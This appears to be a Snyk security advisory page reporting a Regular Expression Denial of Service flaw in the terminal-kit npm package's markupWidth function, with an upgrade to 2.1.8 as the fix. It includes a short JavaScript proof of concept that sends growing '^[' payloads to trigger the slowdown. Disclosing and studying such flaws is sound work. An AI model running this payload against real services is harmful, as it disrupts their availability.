terminal-kit@1.45.4 vulnerabilities

256 colors, keys and mouse, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and many more... Whether you just need colors and styles, build a simple interactive command line tool or a complexe termi

Direct Vulnerabilities

Known vulnerabilities in the terminal-kit package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

terminal-kit is a full-blown terminal lib featuring: 256 colors, styles, keys & mouse handling, input field, progress bars, screen buffer (including 32-bit composition and image loading), text buffer, and much more.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via markupWidth.

PoC

var termkit = require("terminal-kit");

for(var i = 1; i < 1000; i=i*2) {
    var start_ts = Date.now();
    var payload = "^[".repeat(i*1000);
    termkit.markupWidth(payload);
    var time_cost = Date.now() - start_ts;
    console.log("payload length: " + payload.length + " - duration: " + time_cost + "ms")
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade terminal-kit to version 2.1.8 or higher.

<2.1.8